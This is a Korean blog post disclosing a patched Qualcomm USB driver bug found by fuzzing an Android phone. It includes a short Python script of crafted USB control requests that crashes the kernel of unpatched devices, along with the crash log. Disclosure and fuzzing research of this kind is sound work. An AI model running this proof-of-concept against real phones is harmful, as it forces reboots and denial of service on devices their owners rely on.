
Android 휴대폰에서 USB 장치 퍼징
이 블로그 포스트는 USB 장치 퍼징을 통해 제 안드로이드 기기(MI A2 - 순정 안드로이드 실행)에서 발견한 간단한 버그에 관한 것이며, Google에서 높은 심각도로 분류했습니다. 이 버그는 Qualcomm USB 드라이버에 있었으며, 이후 패치되어 2020년 3월 Android 보안 게시판에 공개되었습니다. 이 취약점은 조작된 USB 요청을 안드로이드 폰에 보내면 안드로이드 커널이 충돌하여 폰이 재시작됩니다.
이 버그는 USB 가젯 "core.c"에서 초기화되지 않은 변수 사용으로 인해 발생했습니다. 취약점에 대한 자세한 내용은 아래 Qualcomm 보안 권고 및 2020년 3월 Android 게시판에서 확인할 수 있습니다.
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
안드로이드 폰은 장치 모드와 호스트 모드를 모두 지원합니다. 장치 모드에서는 USB 케이블을 사용하여 PC에 모바일을 연결하고 다양한 USB 연결 모드(충전 전용, MTP 등)로 이미지, 음악을 PC와 공유할 수 있습니다. 호스트 모드에서는 OTG 케이블을 사용하여 헤드셋, USB 드라이브를 연결할 수 있으며, 이때 기기가 클라이언트 역할을 하고 안드로이드 폰이 호스트 역할을 합니다.
이 취약점은 bmRequestType, bRequest, wValue(bDescriptorType:DescriptorIndex), wIndex, wLength와 같은 USB 제어 매개변수를 무작위화하여 안드로이드 기기에 전송함으로써 발견되었습니다. 아래 스크립트와 같이 Linux 호스트에서 안드로이드로 일련의 제어 요청을 보내면, 폰의 USB 장치 드라이버가 이를 파싱하여 커널 패닉을 유발합니다.
USB 개요와 퍼징에 대한 이해를 돕기 위해 Andrey Konovalov의 Offensive-con 2019 발표 영상과 USB 프로토콜 기초(USB 101: USB 2.0 소개)를 참고하세요.
https://www.youtube.com/watch?v=1MD5JV6LfxA
영향을 받는 칩셋: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
Android 2020년 3월 패치로 업데이트하지 않은 경우 이 취약점을 재현하는 단계:
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
충돌 로그는 충돌 원인을 설명하지 않습니다. 따라서 저는 새로운 Pixel 빌드에 KASAN을 추가하고, 퍼징 중 충돌 로그 모니터링과 같은 적절한 계측 기술을 사용하여 장치 퍼징을 개선할 계획입니다. 또한 libusb는 대용량 제어 요청을 허용하지 않으며 대부분의 경우 잘립니다. 그래서 Kate Temkin의 예제(fusee_gelee)처럼 ioctl을 사용하여 USB 드라이버에 직접 명령을 내리는 방법을 시도해 볼 계획입니다.